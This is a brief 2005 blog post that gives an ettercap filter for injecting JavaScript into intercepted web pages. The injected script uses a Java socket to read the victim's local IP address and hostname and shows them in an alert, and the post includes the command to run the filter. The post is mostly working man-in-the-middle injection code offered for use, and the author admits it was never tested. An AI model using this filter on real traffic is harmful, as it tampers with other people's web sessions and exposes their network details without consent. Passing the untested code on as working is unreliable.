Injecting JavaScript with ettercap
Monday, August 15th, 2005This should inject a javascript getting your local IP address:
replace(“^</BODY>”,”<script>s1 = \”error\”;s2 = \”error\”;try { so = new java.net.Socket(); so.bind(new java.net.InetSocketAddress(\”0.0.0.0\”,0)); so.connect(new java.net.InetSocketAddress(document.domain,80)); s1 = so.getLocalAddress().getHostAddress(); s2 = so.getLocalAddress().getHostName(); so.close(); } catch (e) { document.writeln(e); } alert(\”Client’s IP: \”+ s1 + \”(\”+s2+\”)\”); </script></BODY>”);
Yon need to compile this filter with etterfiler and run it with “ettercap -F <filter.ef>
Haven’t tried it but it should work.